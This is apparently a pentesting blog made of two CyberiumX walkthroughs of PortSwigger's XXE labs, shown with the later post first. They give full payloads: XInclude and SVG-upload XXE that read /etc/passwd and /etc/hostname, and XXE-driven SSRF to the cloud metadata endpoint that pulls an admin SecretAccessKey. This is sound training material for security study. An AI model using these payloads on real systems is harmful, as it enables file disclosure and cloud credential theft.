In order to identify XXE attacks, we need to find any XML related parameters on our website for which we have to look around and click on different links that we have on the webpage.

Let’s click on the “View Details” button to check out the details of the products mentioned on the home page. Now scroll down, we’ll find a stock check feature which allows us to check out the remaining stock of the product.

Go to Burp Suite and click on “Proxy tab” and then on “HTTP history” tab to look for the POST request that came on Burp Suite.

Take this request to the repeater by Right clicking on the request and then clicking on the “Send to Repeater” option.

Here we can see that we do not have any XML content in the body of POST request. Instead we have 2 parameters in the body. Let us check by adding an entity in one of the parameters as follows:

%26demo;

I have URL encoded “&” symbol so that it might not consider it as a delimiter.

We can see that we received an error related to entities which is confirming that the value of productId parameter is being parsed to an XML document.

Now let us use the following XInclude payload in order to exploit the vulnerability:

<foo xmlns:xi=”http://www.w3.org/2001/XInclude”>

<xi:include parse=”text” href=”file:///etc/passwd”/></foo>

We got the contents of “/etc/passwd” file in the output.

This will solve the lab as well.

So we can see that by adding XInclude mechanism we can simply include any subdocument in an XML document.

Lab 2- Exploiting XXE attack via image file upload

In some applications we will find that the application will allow us to upload a file with XML related input. There are many extensions which can have XML data in it like docx, svg, etc. Let us find out how we can exploit XXE attack using file upload.

Access the lab and open Burp Suite in order to identify XXE attack vulnerability. Our web page will open in a while.

We will identify any upload functionality on the website. You can see that there are some posts available on the home page. Let’s open one of them and then scroll down, we will find a comment section where there is an upload functionality which allows us to upload any image as our avatar.

Let’s create a malicious svg file using our terminal with following command:

nano image.svg

It will allow us to create a new image file with the name image.svg. Now let us type following content in the file in order to exploit the vulnerability:

<?xml version=”1.0″ standalone=”yes”?><!DOCTYPE test [ <!ENTITY CyberiumX SYSTEM “file:///etc/hostname” > ]><svg width=”128px” height=”128px” xmlns=”http://www.w3.org/2000/svg” xmlns:xlink=”http://www.w3.org/1999/xlink” version=”1.1″><text font-size=”16″ x=”0″ y=”16″>&CyberiumX;</text></svg>

Here we want the contents of the “/etc/hostname” file.

Now let us save the file and exit using Ctrl+s and Ctrl+x respectively. We will upload the file in the comment section and post the comment.

Now we will go back to the same post and find our comment mentioned below with an avatar image that we uploaded. Open the image in a new tab and there we will find the contents of the hostname file.

So we can see how we can upload the malicious XML file like images with svg extension. Hence our lab is also solved.

We have completed the XXE injection vulnerability series here on our blog. You can check out our previous blogs on XXE attack here. We will be releasing more vulnerabilities.

Also, you can check out our other blogs on Cyber Security and Penetration Testing here.

Happy Pentesting!!!

Team CyberiumX

PortSwigger | Overview of XXE Vulnerability | Walkthrough

Posted on 9 July 202311 December 2023 by CyberiumX

Hello folks,

This blog focuses on how we can identify and exploit XML External Entities (XXE) Vulnerabilities on websites. In this blog, I will be providing a detailed walkthrough of PortSwigger’s XXE Apprentice Lab. Also, I will be covering all XXE Vulnerability Labs in my other upcoming blogs. Let’s proceed without any delay and begin the penetration testing process.

Click here to access the XXE labs on PortSwigger.

Before moving further, you should have little understanding of XML language and how to create its payload.

Lab-1 Exploiting XXE Vulnerabilities using external entities to retrieve files

There are two lab scenarios that we are going to cover here. First one is how to retrieve local files stored on a Web server using external entities. Second one is how we can perform SSRF attacks using external entities.
So let’s start with retrieving sensitive files. Access the lab and open Burp Suite in order to identify XXE vulnerability. Our web page will open in a while.

In order to identify XXE, we need to find any XML related parameters on our website so for that we have to look around and click on different links that we have on the webpage.

Go to Burp Suite and click on “Proxy tab” and then on “HTTP history” tab to look for the POST request that came on Burp Suite.

Take this request to the repeater by right clicking on the request and clicking on the “Send to Repeater” option.

Now, at the bottom of the POST request where we can see the XML content, insert the external entity definition between XML declaration and the StockCheck element as follows:

<!DOCTYPE penetrate [ <!ENTITY CyberiumX SYSTEM “file:///etc/passwd”> ]>

Also mention &CyberiumX; as a reference to the external entity by replacing the ProductId number to make a call to this entity. Send the request and we will get a response with the contents of the passwd file.

Hurray!!!. We have successfully identified and exploited our first XXE vulnerability on PortSwigger and hence the lab is solved.

Lab-2 Exploiting XXE to perform SSRF attacks

In this scenario we have to perform a SSRF attack using XXE. For those who do not know about SSRF vulnerability, let me give an explanation. SSRF stands for Server Side Request Forgery. It allows an attacker to send a malicious request to the web server forcing it to perform an external or internal request to some other machines on the behalf of the attacker.

So here we have to force the server to send a request to http://169.254.169.254/ IP address and check if we are getting any response from it by exploiting XXE vulnerability.

We will do the same thing as we did previously. So, let’s access the lab and connect it with Burp Suite in order to identify XXE vulnerability. Our web page will open in a while.

In order to identify XXE, we need to find any XML related parameters on our website so for that we have to look around and click on different links that we have on the webpage.

Go to Burp Suite and click on “Proxy tab” and then on “HTTP history” tab to look for the POST request that came on Burp Suite.

Take this request to the repeater by right clicking on the request and clicking on the “Send to Repeater” option.

Now, at the bottom of the POST request where we can see the XML content, insert the external entity definition between XML declaration and the StockCheck element as follows:

<!DOCTYPE penetrate [ <!ENTITY CyberiumX SYSTEM “http://169.254.169.254/”> ]>

Also mention &CyberiumX; as a reference to the external entity by replacing the ProductId number to make a call to this entity. Let’s send the request and we will see that we are getting “latest” written as the output which might be the next directory.

So, keep on adding the identified directories and send the request using Burp Repeater. The final payload will look like this:

<!DOCTYPE penetrate [ <!ENTITY CyberiumX SYSTEM “http://169.254.169.254/latest/meta-data/iam/security-credentials/admin”> ]>

After sending this final payload, we will receive some information about admin user out of which we require “SecretAccessKey”.

Hurray!!!. We have successfully identified and exploited SSRF vulnerability with the help of XXE vulnerability on PortSwigger and hence the lab is solved.

We have completed two basic labs on XXE. Next you guys can start with Blind XXE vulnerabilities on PortSwigger. You can check it out here on our blog.

Also, you can check out our other blogs on Cyber Security and Penetration testing here.

Happy Pentesting!!!

Team CyberiumX